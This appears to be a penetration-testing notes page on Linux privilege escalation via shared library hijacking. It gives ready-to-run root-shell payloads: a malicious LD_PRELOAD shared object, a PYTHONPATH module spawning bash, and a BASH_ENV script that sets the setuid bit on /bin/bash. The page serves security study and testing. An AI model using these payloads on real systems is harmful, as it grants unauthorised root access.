> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/shared-library-hijacking.md).

# Shared Library Hijacking

Shared library hijacking notes for abusing missing or writable shared objects loaded by privileged Linux binaries.

Shared library hijacking abuses the dynamic loader when a privileged binary loads a missing, writable, or attacker-controlled shared object. A malicious `.so` can execute code with the privileges of the loading process.

## Methodology

* Use `ldd`, `strace`, or error output to find missing or writable libraries.
* Confirm the library search path and whether the privileged binary loads the controlled object.
* Compile a minimal shared object payload and trigger the privileged binary.

## Quick Checks

```bash
ldd <binary>
strace -f <binary> 2>&1 | grep -i open
```

## LD\_PRELOAD And LD\_LIBRARY\_PATH

When a sudo rule preserves loader variables or a privileged execution path allows controlled library search paths, a malicious shared object can execute as the privileged user.

Create a minimal shared library:

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    exit(0);
}
```

Compile it:

```bash
gcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfiles
```

Use it only when the target execution context actually preserves or honors the loader variable:

```bash
sudo LD_PRELOAD=/tmp/evil.so program
LD_LIBRARY_PATH=/tmp program
```

### Sudo Environment Variables

Check whether sudo preserves dangerous variables:

```bash
sudo -l
```

Interesting `env_keep` values include:

| Variable          | Abuse Idea                                                             |
| ----------------- | ---------------------------------------------------------------------- |
| `LD_PRELOAD`      | Load a malicious shared object before normal libraries.                |
| `LD_LIBRARY_PATH` | Redirect library lookup to attacker-controlled paths.                  |
| `PATH`            | Force relative command execution through attacker-controlled binaries. |
| `PYTHONPATH`      | Load malicious Python modules in sudo-run Python code.                 |
| `PERL5LIB`        | Load malicious Perl modules in sudo-run Perl code.                     |

### PYTHONPATH Example

If a sudo rule runs Python and preserves `PYTHONPATH`:

```bash
echo 'import os; os.system("/bin/bash")' > /tmp/evil.py
export PYTHONPATH=/tmp
sudo python -c "import evil"
```

### BASH\_ENV Example

If a privileged program runs `sh` in a way that sources `BASH_ENV`, test with a controlled script:

```bash
cat > /tmp/script.sh <<'EOF'
chmod +s /bin/bash
EOF
chmod +x /tmp/script.sh
export BASH_ENV=/tmp/script.sh
/path/to/suid_binary
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-link" style="color:$primary;">:link:</i></h3></td><td><h4>libwelcome.so Shared Library Hijacking</h4></td><td>Shared Library Hijacking (libwelcome.so) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/shared-library-hijacking/libwelcome-shared-library-hijacking-linux-privilege-escalation.md">libwelcome.so Shared Library Hijacking - Linux Privilege Escalation</a></td></tr></tbody></table>


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